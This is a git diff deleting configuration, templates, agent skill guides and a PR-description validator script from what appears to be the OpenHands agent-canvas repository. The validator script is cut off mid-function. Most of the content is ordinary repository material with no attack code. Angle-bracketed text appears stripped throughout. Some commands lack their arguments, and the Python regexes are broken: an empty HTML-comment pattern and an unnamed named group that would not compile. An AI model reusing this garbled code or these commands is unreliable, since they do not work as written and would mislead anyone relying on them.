diff --git a/.agents/skills/custom-codereview-guide.md b/.agents/skills/custom-codereview-guide.md deleted file mode 100644 index 1c3c3c716..000000000 --- a/.agents/skills/custom-codereview-guide.md +++ /dev/null @@ -1,326 +0,0 @@ ---- -name: custom-codereview-guide -description: Repo-specific code review guidelines for OpenHands/agent-canvas. Provides project-specific review rules in addition to the default code review skill. -triggers: -- /codereview ---- - -# OpenHands/agent-canvas Code Review Guidelines - -You are an expert code reviewer for the **OpenHands/agent-canvas** repository. This skill provides repo-specific review guidelines. Be direct but constructive. - -## Review Decisions - -You have permission to **APPROVE** or **COMMENT** on PRs. Do not use REQUEST_CHANGES. - -**Mandatory:** Always submit exactly one PR review object before finishing. If you found no actionable issues, post a short **APPROVE** review rather than ending silently without posting a review. If you found actionable issues or concerns, post a **COMMENT** review. - -### Review decision policy (eval / benchmark risk) - -Do **NOT** submit an **APPROVE** review when the PR changes agent behavior or anything -that could plausibly affect benchmark/evaluation performance. - -Examples include: prompt templates, tool calling/execution, planning/loop logic, -memory/condenser behavior, terminal/stdin/stdout handling, or evaluation harness code. - -If a PR is in this category (or you are uncertain), leave a **COMMENT** review and -explicitly flag it for a human maintainer to decide after running lightweight evals. - -### Default approval policy - -**Default to APPROVE**: If your review finds no issues at "important" level or higher, -approve the PR. Minor suggestions or nitpicks alone are not sufficient reason to -withhold approval. - -**IMPORTANT:** If you determine a PR is worth merging **and it is not in the eval-risk -category above**, you should approve it. Don’t just say a PR is "worth merging" or -"ready to merge" without actually submitting an approval. Your words and actions should -be consistent. - -### When to APPROVE - -Examples of straightforward and low-risk PRs you should approve (non-exhaustive): - -- **Configuration changes**: Adding models to config files, updating CI/workflow settings -- **CI/Infrastructure changes**: Changing runner types, fixing workflow paths, updating job configurations -- **Cosmetic changes**: Typo fixes, formatting, comment improvements, README updates -- **Documentation-only changes**: Docstring updates, clarifying notes, API documentation improvements -- **Simple additions**: Adding entries to lists/dictionaries following existing patterns -- **Test-only changes**: Adding or updating tests without changing production code -- **Dependency updates**: Version bumps with passing CI, unless the updated package is newer than the repo's 7-day freshness guardrail described in the Security section below - -### When NOT to APPROVE - Blocking Issues - -**DO NOT APPROVE** PRs that have any of the following issues: - -- **Package version bumps in non-release PRs**: If any `pyproject.toml` file has changes to the `version` field (e.g., `version = "1.12.0"` → `version = "1.13.0"`), and the PR is NOT explicitly a release PR (title/description doesn't indicate it's a release), **DO NOT APPROVE**. Version numbers should only be changed in dedicated release PRs managed by maintainers. - - Check: Look for changes to `version = "..."` in any `*/pyproject.toml` files - - Exception: PRs with titles like "release: v1.x.x" or "chore: bump version to 1.x.x" from maintainers -- **Too-new dependency uploads**: If a dependency bump pulls in a package uploaded within the repo's 7-day freshness window, **DO NOT APPROVE**. See the Security section below for the exact review instructions and the Dependabot / `tool.uv.exclude-newer` caveat. - -Examples: -- A PR adding a new model to `resolve_model_config.py` or `verified_models.py` with corresponding test updates -- A PR adding documentation notes to docstrings clarifying method behavior (e.g., security considerations, bypass behaviors) -- A PR changing CI runners or fixing workflow infrastructure issues (e.g., standardizing runner types to fix path inconsistencies) - -### When to COMMENT - -Use COMMENT when you have feedback or concerns: - -- Issues that need attention (bugs, security concerns, missing tests) -- Suggestions for improvement -- Questions about design decisions -- Minor style preferences - -If there are significant issues, leave detailed comments explaining the concerns—but let a human maintainer decide whether to block the PR. - -## Security - -### Dependency freshness / supply-chain guardrail - -This repository intentionally uses a workspace-wide `uv` resolver guardrail: - -- Root `pyproject.toml`: `[tool.uv] exclude-newer = "7 days"` - -**Important:** Dependabot does **not** currently honor that `uv` guardrail when it opens `uv.lock` update PRs for this repo's workspace setup. A Dependabot PR can therefore bump to a version that was uploaded **less than 7 days ago**, even though a local `uv lock` would normally exclude it. - -When reviewing dependency update PRs (`uv.lock`, `pyproject.toml`, `requirements*.txt`, etc.), explicitly check for **too-new package uploads**: - -1. Check the package upload timestamp on the package index. -2. For `uv.lock`, use the per-file `upload-time` metadata in the changed package entry. -3. Treat `upload-time` as the upload time of that specific distribution file to the package index (for example, the wheel uploaded to PyPI) — not the Git tag time or GitHub release time. -4. Compare that timestamp against the current date and the repo's 7-day freshness window. - -If the updated package was uploaded **within the last 7 days**, treat it as a real security / supply-chain concern: - -- Do **NOT** approve the PR. -- Leave a **COMMENT** review that clearly calls out the package name, version, upload time, and that it is newer than the repo's 7-day guardrail. -- Explain that this can happen because Dependabot currently ignores `tool.uv.exclude-newer` for this repo's workspace updates. -- Ask a human maintainer to decide whether to wait until the package ages past the guardrail or to merge intentionally despite the freshness risk. - -## Core Principles - -1. **Simplicity First**: Question complexity. If something feels overcomplicated, ask "what's the use case?" and seek simpler alternatives. Features should solve real problems, not imaginary ones. - -2. **Pragmatic Testing**: Test what matters. Avoid duplicate test coverage. Don't test library features (e.g., `BaseModel.model_dump()`). Focus on the specific logic implemented in this codebase. - -3. **Type Safety**: Avoid `# type: ignore` - treat it as a last resort. Fix types properly with assertions, proper annotations, or code adjustments. Prefer explicit type checking over `getattr`/`hasattr` guards. - -4. **Backward Compatibility**: Evaluate breaking change impact carefully. Consider API changes that affect existing users, removal of public fields/methods, and changes to default behavior. - -## What to Check - -- **Complexity**: Over-engineered solutions, unnecessary abstractions, complex logic that could be refactored -- **Testing**: Duplicate test coverage, tests for library features, missing edge case coverage. For code that writes to disk, verify that tests cover the **persistence round-trip** (write → close → reopen → verify), not just in-memory state -- **Type Safety**: `# type: ignore` usage, missing type annotations, `getattr`/`hasattr` guards, mocking non-existent arguments -- **Breaking Changes**: API changes affecting users, removed public fields/methods, changed defaults -- **Code Quality**: Code duplication, missing comments for non-obvious decisions, inline imports (unless necessary for circular deps) -- **Repository Conventions**: Use `pyright` not `mypy`, put fixtures in `conftest.py`, avoid `sys.path.insert` hacks -- **Event Type Deprecation**: Changes to event types (Pydantic models used in serialization) must handle deprecated fields properly -- **Thread Safety**: New methods in `LocalConversation` that read or write `self._state` must use `with self._state:` — see the [Concurrency](#concurrency---localconversation-state-lock) section below -- **Persistence Paths**: Code that computes persistence directories must not double-append the conversation hex — see the [Persistence Paths](#persistence-path-construction) section below -- **Server-Side Cleanup**: Endpoints that create persistent state (directories, files) must have rollback logic for partial failures — see the [Server Error Handling](#server-side-error-handling) section below -- **Cross-File Data Flow**: When new code calls existing APIs (constructors, factory methods), trace 1–2 levels into those APIs to verify the caller uses them correctly. Bugs often hide at layer boundaries where the caller's assumptions don't match the callee's behavior - -## Event Type Deprecation - Critical Review Checkpoint - -When reviewing PRs that modify event types (e.g., `TextContent`, `Message`, `Event`, or any Pydantic model used in event serialization), **DO NOT APPROVE** until the following are verified: - -### Required for Removing/Deprecating Fields - -1. **Model validator present**: If a field is being removed from an event type with `extra="forbid"`, there MUST be a `@model_validator(mode="before")` that uses `handle_deprecated_model_fields()` to remove the deprecated field before validation. Otherwise, old events will fail to load. - -2. **Tests for backward compatibility**: The PR MUST include tests that: - - Load an old event format (with the deprecated field) successfully - - Load a new event format (without the deprecated field) successfully - - Verify both can be loaded in sequence (simulating mixed conversations) - -3. **Test naming convention**: The version in the test name should be the **LAST version** where a particular event structure exists. For example, if `enable_truncation` was removed in v1.11.1, the test should be named `test_v1_10_0_...` (the last version with that field), not `test_v1_8_0_...` (when it was introduced). This avoids duplicate tests and clearly documents when a field was last present. - -**Important**: Deprecated field handlers are **permanent** and should never be removed. They ensure old conversations can always be loaded. - -### Example Pattern (Required) - -```python -from openhands.sdk.utils.deprecation import handle_deprecated_model_fields - -class MyModel(BaseModel): - model_config = ConfigDict(extra="forbid") - - # Deprecated fields that are silently removed for backward compatibility - # when loading old events. These are kept permanently. - _DEPRECATED_FIELDS: ClassVar[tuple[str, ...]] = ("old_field_name",) - - @model_validator(mode="before") - @classmethod - def _handle_deprecated_fields(cls, data: Any) -> Any: - """Remove deprecated fields for backward compatibility with old events.""" - return handle_deprecated_model_fields(data, cls._DEPRECATED_FIELDS) -``` - -### Why This Matters - -Production systems resume conversations that may contain events serialized with older SDK versions. If the SDK can't load old events, users will see errors like: - -``` -pydantic_core.ValidationError: Extra inputs are not permitted -``` - -**This is a production-breaking change.** Do not approve PRs that modify event types without proper backward compatibility handling and tests. - -## Frontend API Access Conventions - -These two rules are enforced by the CI test `src/api/no-direct-agent-server-calls.test.ts`. -**Flag any PR that introduces a violation** -- these are correctness bugs, not style nits. - -### Rule 1 -- All agent-server calls must use `@openhands/typescript-client` - -**DO NOT APPROVE** a PR that introduces raw `axios`, `fetch`, or the shared `openHands` -axios instance to call an agent-server endpoint (`/api/*`, `/server_info`). All such -calls must go through typed client classes from `@openhands/typescript-client`, -instantiated with options from `getAgentServerClientOptions()` or -`getAgentServerHttpClientOptions()` in `src/api/agent-server-client-options.ts`. - -Forbidden patterns (caught by the CI guard): -- `openHands.(...)` -- shared axios instance -- `createHttpClient(...)` -- creates a raw HTTP client -- `axios(...)` / `axios.get/post/etc.(...)` (except in the two allowed files) -- `fetch('/api/...')` or `fetch(\`${host}/api/...\`)` - -Correct pattern: -```ts -new ConversationClient(getAgentServerClientOptions()).getConversation(id) -new FileClient(getAgentServerClientOptions()).downloadTextFile(path) -new ServerClient(getAgentServerHttpClientOptions()).getServerInfo() -new RemoteWorkspace(getAgentServerClientOptions()).gitChanges({ ref: "HEAD" }) -``` - -Allowed exceptions (explicitly listed in `ALLOWED_AD_HOC_HTTP_FILES`): -- `src/api/automation-service/automation-service.api.ts` -- `src/api/cloud/proxy.ts` - -If a PR adds a new file to `ALLOWED_AD_HOC_HTTP_FILES` without a strong reason, -flag it -- the allowlist should not grow casually. - -### Rule 2 -- All cloud backend calls must go through `callCloudProxy` - -**DO NOT APPROVE** a PR that issues a direct browser `fetch` or `axios` call to the -cloud backend (`app.all-hands.dev`) or a cloud runtime sandbox -(`*.prod-runtime.all-hands.dev`). Both origins block CORS from `localhost`. Cloud calls -must go through `callCloudProxy()` in `src/api/cloud/proxy.ts`, which routes them -server-side through `/api/cloud-proxy` on the local agent-server. - -Correct pattern -- cloud: -```ts -callCloudProxy({ backend, method: "GET", path: "/api/v1/app-conversations/search?..." }) -``` - -Correct pattern -- cloud runtime sandbox (use `hostOverride` + `authMode: "session-api-key"`): -```ts -callCloudProxy({ - backend, - method: "GET", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `/api/conversations/${id}`, - authMode: "session-api-key", - sessionApiKey, -}) -``` - -Standard branch structure every cloud-aware service method should follow: -```ts -if (getActiveBackend().backend.kind === "cloud") { - return callCloudProxy({ backend: active, ... }); -} -// local path: typed typescript-client -return new ConversationClient(getAgentServerClientOptions()).someMethod(...); -``` - -Missing the `hostOverride` on a runtime-sandbox call is a silent bug: the proxy -will target `backend.host` (the cloud API) instead of the actual runtime URL. -Flag any `callCloudProxy` call that targets a runtime URL without `hostOverride`. - -## SDK Architecture Conventions - -These conventions codify patterns that are easy to violate when adding new features. Each was learned from a real bug. - -### Concurrency - LocalConversation State Lock - -`LocalConversation` protects mutable state with a FIFOLock accessed via `with self._state:`. **Every** method that reads or writes `self._state.events`, `self._state.stats`, `self._state.agent_state`, `self._state.activated_knowledge_skills`, or any other mutable field on `ConversationState` must hold this lock. There are currently ~13 call sites using this pattern. - -When reviewing a PR that adds a new method to `LocalConversation`: -1. Check whether it accesses any `self._state.*` field. -2. If yes, verify the access is inside a `with self._state:` block. -3. If not, flag it — the method is unsafe for concurrent use with `run()`. - -### Persistence Path Construction - -`BaseConversation.get_persistence_dir(base, conversation_id)` returns `str(Path(base) / conversation_id.hex)`. The `LocalConversation.__init__` constructor calls this automatically when `persistence_dir` is provided. - -**Rule:** Callers that pass `persistence_dir` to `LocalConversation()` must pass only the **base directory** (e.g., `/data/conversations/`). The constructor appends the conversation hex. Passing a pre-constructed full path (e.g., `/data/conversations/abc123`) causes double-appending: `/data/conversations/abc123/abc123`. - -When reviewing code that creates a new `LocalConversation` (fork, resume, migration): -1. Check what value is passed as `persistence_dir`. -2. Verify it does **not** already include the conversation ID hex. - -### Server-Side Error Handling - -Server endpoints in `conversation_service.py` that create persistent state (writing directories, files, or calling `fork()` which writes to disk) and then perform follow-up operations (like `_start_event_service`) must handle partial failure. - -**Pattern:** If the follow-up operation fails, clean up the already-written persistent state so it doesn't become an orphaned directory that confuses future startups. - -```python -# Good: rollback on failure -fork_dir = self.conversations_dir / fork_conv_id.hex -try: - fork_event_service = await self._start_event_service(fork_stored) -except Exception: - safe_rmtree(fork_dir) - raise -``` - -When reviewing server endpoints that create conversations or persistent artifacts: -1. Identify the "point of no return" where state is written to disk. -2. Check that subsequent operations are wrapped in try/except with cleanup. -3. For client-supplied IDs, verify there's a duplicate check before creating state (return 409 Conflict if taken). - -## E2E Test Label Triage - -The `e2e-tests` label triggers the mock-LLM E2E and Docker E2E test suites on a -PR. When reviewing, use your judgement to decide whether the changes could -benefit from full end-to-end testing. If the PR doesn't already have the label -and you think it should, add it: - -```bash -gh pr edit --add-label "e2e-tests" --repo OpenHands/agent-canvas -``` - -Mention in your review body that you added the label (one sentence is enough). -When in doubt, add it — running the tests is cheap, missing a regression is not. -Skip it for obviously safe changes like docs-only, pure styling, or CI config -tweaks. - -If the PR touches an area that lacks mock-LLM E2E coverage and would benefit -from it, suggest adding a test in `tests/e2e/mock-llm/` as part of the PR or a -follow-up. - -## What NOT to Comment On - -Do not leave comments for: - -- **Nitpicks**: Minor style preferences, optional improvements, or "nice-to-haves" that don't affect correctness or maintainability -- **Good behavior observed**: Don't comment just to praise code that follows best practices - this adds noise. Simply approve if the code is good. -- **Suggestions for additional tests on simple changes**: For straightforward PRs (config changes, model additions, etc.), don't suggest adding test coverage unless tests are clearly missing for new logic -- **Obvious or self-explanatory code**: Don't ask for comments on code that is already clear -- **`.pr/` directory artifacts**: Files in the `.pr/` directory are temporary PR-specific documents (design notes, analysis, scripts) that are automatically cleaned up when the PR is approved. Do not comment on their presence or suggest removing them. - -If a PR is approvable, just approve it. Don't add "one small suggestion" or "consider doing X" comments that delay merging without adding real value. - -## Communication Style - -- Be direct and concise - don't over-explain -- Use casual, friendly tone ("lgtm", "WDYT?", emojis are fine 👀) -- Ask questions to understand use cases before suggesting changes -- Suggest alternatives, not mandates -- Approve quickly when code is good ("LGTM!") -- Use GitHub suggestion syntax for code fixes diff --git a/.agents/skills/release.md b/.agents/skills/release.md deleted file mode 100644 index a5f000a72..000000000 --- a/.agents/skills/release.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -name: release -description: Guide the release process for @openhands/agent-canvas — review the release-please draft PR, mark it ready, merge it; the tag push publishes to npm and Docker. -triggers: -- release -- new release -- cut a release -- publish release -- bump version ---- - -# Release Process for @openhands/agent-canvas - -## Overview - -Releases are **trunk-based and automated by release-please**, via the shared reusable -workflows in [`OpenHands/release-actions`](https://github.com/OpenHands/release-actions): - -1. PRs merge to `main` with **Conventional Commit titles** (`feat`, `fix`, `perf`, `docs`, `chore`, `build`, `ci`, `refactor`, `style`, `test`, `revert`). `.github/workflows/pr.yml` lints the title and applies the matching `type:` label; squash merge uses the PR title as the commit message. -2. On every push to `main`, `.github/workflows/release.yml` runs release-please, which maintains a **draft release PR** titled `chore(main): release X.Y.Z` accumulating everything merged since the last release. -3. The release PR pre-stages **every version bump**: `package.json`, `package-lock.json`, `config/defaults.json` (`versions.agentCanvas`), and the Docker image pins in `README.md` / `README.windows.md` (lines annotated with `x-release-please-version`). -4. Marking the release PR **Ready for review** is the explicit cut-a-release signal: `.github/workflows/release-ready.yml` notifies `#proj-agent-canvas` on Slack and labels the PR `release: ready`. -5. Merging the release PR makes release-please push the `vX.Y.Z` tag (using the org release App token) and create the GitHub Release. The same tag push triggers `npm-publish.yml` (npm) and `docker.yml` (multi-arch GHCR images). - -The next version is derived from the conventional-commit types merged since the last release: `fix` → patch, `feat` → minor, any `!` suffix or `BREAKING CHANGE` footer → major. Other types (`docs`, `chore`, `refactor`, …) appear in the release notes but do not by themselves produce a release PR. Release notes are grouped by the `type:` labels via `.github/release.yml`; there is no `CHANGELOG.md` file — GitHub Releases are the changelog. - -Configuration lives in `release-please-config.json` (version surfaces, draft PR) and `.release-please-manifest.json` (current released version). Maintenance releases for an older line use `release/**` branches (`release.yml` triggers there too). - -**Never commit to the release PR's branch by hand** — release-please owns it and force-pushes it on every push to `main`. - ---- - -## Step 1: Find the Release PR - -```bash -gh pr list --state open --label "autorelease: pending" -``` - -If no release PR is open, nothing releasable (`feat`/`fix`/breaking) has merged since the last release — or `release.yml` is failing on `main`: - -```bash -gh run list --workflow=release.yml --limit=3 -``` - ---- - -## Step 2: Review It - -Open the release PR and confirm: - -- **The version** in the title matches expectations. It is computed from the merged commit types — if it looks wrong, check the conventional types of the PR titles merged since the last release. To force a specific version, merge a commit to `main` whose message contains a `Release-As: X.Y.Z` footer. -- **The staged bumps** cover all version surfaces (`package.json`, `package-lock.json`, `config/defaults.json`, `README.md`, `README.windows.md`) and the notes list the expected changes. - ---- - -## Step 3: Cut the Release - -**STOP HERE and confirm with the user before proceeding.** Marking the PR ready and merging it publishes to npm and GHCR. - -```bash -gh pr ready -``` - -This fires the release-ready gate: a Slack notification lands in `#proj-agent-canvas` and the PR is labeled `release: ready`. Then merge the release PR (squash, like any other PR). - ---- - -## Step 4: Watch the Pipeline - -Merging the release PR triggers `release.yml` on `main`, which pushes the `vX.Y.Z` tag and creates the GitHub Release; the tag push then fires the publish workflows: - -```bash -gh run list --workflow=release.yml --limit=3 -gh run list --workflow=npm-publish.yml --limit=3 -gh run list --workflow=docker.yml --limit=3 -``` - ---- - -## Step 5: Verify the Release - -```bash -# GitHub release -gh release view v - -# npm (allow ~2 min for publish to propagate) -npm view @openhands/agent-canvas@ -npm view @openhands/agent-canvas dist-tags # stable releases get `latest` - -# Docker -docker pull ghcr.io/openhands/agent-canvas: -``` - -External install docs on docs.openhands.dev are maintained separately; update them there when closing #1073. - ---- - -## Troubleshooting - -### No release PR appears after merging to main -Only `feat`, `fix`, and breaking changes produce a release PR. Also check `release.yml` runs on `main` — the workflow fails by design if the org secrets `RELEASE_APP_ID` / `RELEASE_APP_PRIVATE_KEY` are unavailable (a `GITHUB_TOKEN` fallback would create a tag that never triggers the publish workflows). - -### The proposed version is wrong -The version comes from the conventional-commit history since the last release. Fix forward: merge a commit to `main` with a `Release-As: X.Y.Z` footer to pin the next version. - -### No Slack message when the PR was marked ready -`SLACK_BOT_TOKEN` is optional by design — the gate still applies the `release: ready` label and the release proceeds normally. - -### package.json version doesn't match the tag -This cannot happen in the normal flow: release-please bumps `package.json` in the release PR and tags the resulting merge commit, and `npm-publish.yml` validates they match. If it ever fails, someone pushed a tag by hand — delete the tag and let release-please own tagging. diff --git a/.dockerignore b/.dockerignore deleted file mode 100644 index c32286706..000000000 --- a/.dockerignore +++ /dev/null @@ -1,39 +0,0 @@ -# Dependencies -node_modules/ - -# Build outputs (rebuilt in Docker) -build/ -dist/ - -# Development files -.git/ -.github/ -.openhands/ -.agents/ -.pr/ - -# Test files -__tests__/ -tests/ -__mocks__/ -test-results/ -playwright-report*/ -coverage/ - -# IDE / OS -.vscode/ -.idea/ -*.swp -*.swo -.DS_Store -Thumbs.db - -# Environment -.env -.env.* -!.env.sample - -# Misc -artifacts/ -*.tgz -*.log diff --git a/.env.sample b/.env.sample deleted file mode 100644 index 0ad49b905..000000000 --- a/.env.sample +++ /dev/null @@ -1,37 +0,0 @@ -# OpenHands Agent Server target -# These defaults assume you are manually pointing the frontend at a backend on -# 127.0.0.1:8000. The recommended local workflow is `npm run dev`, which starts -# an isolated local backend for this checkout. Use `npm run dev:frontend` only -# when you intentionally want to point at a separately managed backend. -VITE_BACKEND_HOST="127.0.0.1:8000" # Host:port used by the Vite dev proxy -VITE_BACKEND_BASE_URL="http://127.0.0.1:8000" # Base URL used by browser-side direct requests -# To drive a containerized ACP agent-server, point this at the published port, -# e.g. VITE_BACKEND_BASE_URL="http://localhost:8010" — see examples/acp-docker/ -# and docs/ACP_AGENTS.md → "Running ACP agents in a Docker container". -# VITE_SESSION_API_KEY="" # Set to the same value as backend SESSION_API_KEY or OH_SESSION_API_KEYS_0 when auth is enabled -# VITE_WORKING_DIR="/workspace/project/agent-canvas" # Base dir for per-conversation working_dirs. Each conversation's working_dir is /. Defaults to /workspaces, which is the sibling of the agent server's /conversations/ persistence dir — both share the same per conversation. -# VITE_ENABLE_BROWSER_TOOLS="true" # Set to false to omit BrowserToolSet from new conversations - -# Frontend dev server -VITE_FRONTEND_PORT="3001" # Port to run the frontend application -VITE_USE_TLS="false" # Use HTTPS/WSS for proxied backend connections -VITE_INSECURE_SKIP_VERIFY="false" # Skip TLS certificate verification for proxied backend requests -# VITE_BASE_PATH="/canvas" # Build/serve the SPA under a subpath. Leave unset for root-local development. - -# Public PostHog client key compiled into source builds. Precompiled library -# consumers can instead pass apiKey/apiHost/uiHost to AgentServerUIProviders. -# VITE_POSTHOG_API_KEY="phc_..." -# VITE_DO_NOT_TRACK="1" # Disable all telemetry, including anonymous install counts - -# Mocking / test helpers -VITE_MOCK_API="false" # Enable/disable API mocking with MSW - -# `npm run dev` (scripts/dev-safe.mjs) — isolated local backend via uvx -# OH_CANVAS_SAFE_BACKEND_PORT="18000" # Port the spawned agent-server listens on -# OH_CANVAS_SAFE_VSCODE_PORT="18001" # Port forwarded to the embedded VS Code (defaults to backend port + 1) -# OH_CANVAS_SAFE_STATE_DIR="$HOME/.openhands/agent-canvas" # Where conversations and bash events are stored (tmux sockets live under /tmp) - -# Agent server version selection (uvx) — listed in order of precedence (highest first) -# OH_AGENT_SERVER_LOCAL_PATH="" # Absolute path to a local software-agent-sdk checkout. Runs the local checkout via uvx with editable openhands-sdk/tools/workspace installs so source edits are picked up on restart. Highest precedence. -# OH_AGENT_SERVER_GIT_REF="" # Git commit SHA or branch name (e.g., "main", "abc1234"). Takes precedence over version. -# OH_AGENT_SERVER_VERSION="" # Specific PyPI version (e.g., "1.18.0"). Uses latest release if unset. diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 6313b56c5..000000000 --- a/.gitattributes +++ /dev/null @@ -1 +0,0 @@ -* text=auto eol=lf diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml deleted file mode 100644 index 9d3050cd1..000000000 --- a/.github/ISSUE_TEMPLATE/bug_report.yml +++ /dev/null @@ -1,105 +0,0 @@ -name: Bug Report -description: Report a bug or unexpected behavior in Agent Canvas. -title: "[Bug]: " -labels: ["bug"] -body: - - type: markdown - attributes: - value: | - Thanks for taking the time to report a bug! Please fill out the sections below so we can reproduce and fix the issue. - - - type: dropdown - id: os - attributes: - label: Operating System - options: - - macOS - - Windows - - Linux - validations: - required: true - - - type: dropdown - id: install-method - attributes: - label: Installation Method - description: How did you install / run Agent Canvas? - options: - - npm (`npx @openhands/agent-canvas` or `npm install -g @openhands/agent-canvas`) - - Docker (`ghcr.io/openhands/agent-canvas`) - - From source (`npm run dev` / `npm run dev:minimal`) - - Other - validations: - required: true - - - type: input - id: version - attributes: - label: Agent Canvas Version - description: "npm: `agent-canvas --version` · Docker: the image tag you pulled (e.g. `ghcr.io/openhands/agent-canvas:latest`)" - placeholder: "e.g. 1.0.0-alpha.6" - validations: - required: true - - - type: textarea - id: description - attributes: - label: Bug Description - description: A clear and concise description of what the bug is. - placeholder: What happened? - validations: - required: true - - - type: textarea - id: steps - attributes: - label: Steps to Reproduce - description: Step-by-step instructions to reproduce the behavior. - placeholder: | - 1. Go to '...' - 2. Click on '...' - 3. Scroll down to '...' - 4. See error - validations: - required: true - - - type: textarea - id: actual - attributes: - label: Actual Behavior - description: What actually happened? - validations: - required: true - - - type: textarea - id: expected - attributes: - label: Expected Behavior - description: What did you expect to happen? - validations: - required: true - - - type: textarea - id: logs - attributes: - label: Relevant Logs - description: Paste any error messages or console output. Content is auto-wrapped in a code block. - render: shell - validations: - required: false - - - type: textarea - id: screenshots - attributes: - label: Screenshots - description: Drag and drop or paste any screenshots that help explain the issue. - validations: - required: false - - - type: textarea - id: additional - attributes: - label: Additional Context - description: Anything else that might be helpful (config, workarounds tried, etc.). - validations: - required: false diff --git a/.github/dependabot.yml b/.github/dependabot.yml deleted file mode 100644 index c83559991..000000000 --- a/.github/dependabot.yml +++ /dev/null @@ -1,110 +0,0 @@ -version: 2 -updates: - - package-ecosystem: npm - directory: "/" - schedule: - interval: weekly - day: monday - time: "09:00" - timezone: "UTC" - cooldown: - default-days: 7 - versioning-strategy: increase - open-pull-requests-limit: 10 - commit-message: - prefix: chore - include: scope - labels: - - dependencies - - npm - # Group related packages together so they ship in a single PR. - # Packages that aren't matched by any group still get their own PR - # (the default behavior), which is what we want for high-impact deps - # like vite, react-router, framer-motion, etc. - groups: - tailwind: - patterns: - - "tailwindcss" - - "@tailwindcss/*" - - "tailwind-merge" - - "tailwind-scrollbar" - tanstack: - patterns: - - "@tanstack/*" - i18next: - patterns: - - "i18next" - - "i18next-*" - - "react-i18next" - - "eslint-plugin-i18next" - react: - patterns: - - "react" - - "react-dom" - - "@types/react" - - "@types/react-dom" - - "@types/react-*" - - "eslint-plugin-react" - - "eslint-plugin-react-hooks" - react-router: - patterns: - - "react-router" - - "@react-router/*" - - "@vercel/react-router" - - "isbot" - testing: - patterns: - - "vitest" - - "@vitest/*" - - "@testing-library/*" - - "jsdom" - - "@playwright/test" - - "msw" - - "@mswjs/*" - eslint: - patterns: - - "eslint" - - "eslint-config-*" - - "eslint-plugin-*" - - "@typescript-eslint/*" - - "prettier" - exclude-patterns: - # These are grouped under their feature area instead. - - "eslint-plugin-i18next" - - "eslint-plugin-react" - - "eslint-plugin-react-hooks" - monaco: - patterns: - - "monaco-editor" - - "@monaco-editor/*" - xterm: - patterns: - - "@xterm/*" - types: - patterns: - - "@types/*" - exclude-patterns: - - "@types/react" - - "@types/react-dom" - - "@types/react-*" - - - package-ecosystem: github-actions - directory: "/" - schedule: - interval: weekly - day: monday - time: "09:00" - timezone: "UTC" - cooldown: - default-days: 7 - open-pull-requests-limit: 5 - commit-message: - prefix: ci - include: scope - labels: - - dependencies - - github-actions - groups: - actions: - patterns: - - "*" diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md deleted file mode 100644 index d325c3e04..000000000 --- a/.github/pull_request_template.md +++ /dev/null @@ -1,57 +0,0 @@ - - -HUMAN: - - - -- [ ] A human has tested these changes. - -AGENT: - - - ---- - -## Why - - - -## Summary - - -- - -## Issue Number - - -## How to Test - - - -## Video/Screenshots - - - -## Type - -- [ ] Bug fix -- [ ] Feature -- [ ] Refactor -- [ ] Breaking change -- [ ] Docs / chore - -## Notes - - diff --git a/.github/release.yml b/.github/release.yml deleted file mode 100644 index 9d267f3a4..000000000 --- a/.github/release.yml +++ /dev/null @@ -1,14 +0,0 @@ -changelog: - categories: - - title: Features - labels: ["type: feat"] - - title: Bug Fixes - labels: ["type: fix"] - - title: Performance - labels: ["type: perf"] - - title: Documentation - labels: ["type: docs"] - - title: Maintenance - labels: ["type: chore", "type: build", "type: ci", "type: refactor", "type: style", "type: test", "type: revert"] - - title: Other Changes - labels: ["*"] diff --git a/.github/scripts/check_pr_description.py b/.github/scripts/check_pr_description.py deleted file mode 100644 index 2a6ae9c56..000000000 --- a/.github/scripts/check_pr_description.py +++ /dev/null @@ -1,172 +0,0 @@ -"""Validate PR description readiness before a PR is reviewed. - -Required template fields: Why, Summary, and How to Test. - -Local usage example: - python .github/scripts/check_pr_description.py --body-file /tmp/pr-body.md -""" - -from __future__ import annotations - -import argparse -import json -import os -import re -import sys -from pathlib import Path - - -HUMAN_TESTED_TEXT = "A human has tested these changes." -# Reject placeholders while allowing a concise human-written sentence. -MIN_HUMAN_NOTE_CHARS = 20 -# These are the only PR-template sections that must remain and contain content. -REQUIRED_TEMPLATE_FIELDS: tuple[str, ...] = ("Why", "Summary", "How to Test") - -HTML_COMMENT_RE = re.compile(r"") -HEADING_RE = re.compile(r"(?m)^##\s+(.+?)\s*$") -HUMAN_HEADING_RE = re.compile(r"(?im)^\s*HUMAN:\s*$") -AGENT_HEADING_RE = re.compile(r"(?im)^\s*AGENT:\s*$") - - -def checkbox_re(label: str) -> re.Pattern[str]: - return re.compile(rf"(?im)^\s*[-*]\s+\[(?P[ xX])]\s+{re.escape(label)}\s*$") - - -def checkbox_is_checked(pattern: re.Pattern[str], text: str) -> bool: - match = pattern.search(text) - return match is not None and match.group("mark").lower() == "x" - - -HUMAN_TESTED_RE = checkbox_re(HUMAN_TESTED_TEXT) - - -def visible_text(text: str) -> str: - """Return PR body content that should count as author-provided text.""" - lines = [] - for line in HTML_COMMENT_RE.sub("", text).splitlines(): - stripped = line.strip() - if stripped and stripped != "-": - lines.append(stripped) - return "\n".join(lines).strip() - - -def first_visible_line(text: str) -> str: - for line in HTML_COMMENT_RE.sub("", text).splitlines(): - stripped = line.strip() - if stripped: - return stripped - return "" - - -def extract_sections(body: str) -> dict[str, str]: - matches = list(HEADING_RE.finditer(body)) - sections: dict[str, str] = {} - for index, match in enumerate(matches): - start = match.end() - end = matches[index + 1].start() if index + 1 < len(matches) else len(body) - sections[match.group(1).strip()] = body[start:end] - return sections - - -def extract_human_note(body: str) -> str: - """Return human-written text in the required location before the checkbox.""" - human_match = HUMAN_HEADING_RE.search(body) - if human_match is None: - return "" - - checkbox_match = HUMAN_TESTED_RE.search(body, human_match.end()) - if checkbox_match is None: - return "" - - return visible_text(body[human_match.end() : checkbox_match.start()]) - - -def validate_pr_body(body: str) -> list[str]: - errors: list[str] = [] - - if first_visible_line(body) != "HUMAN:": - errors.append("The first visible line of the PR description must be `HUMAN:`.") - - human_note = extract_human_note(body) - if len(human_note) < MIN_HUMAN_NOTE_CHARS: - errors.append( - "Add a short human-written note between `HUMAN:` and " - "the human-tested checkbox." - ) - - human_tested = 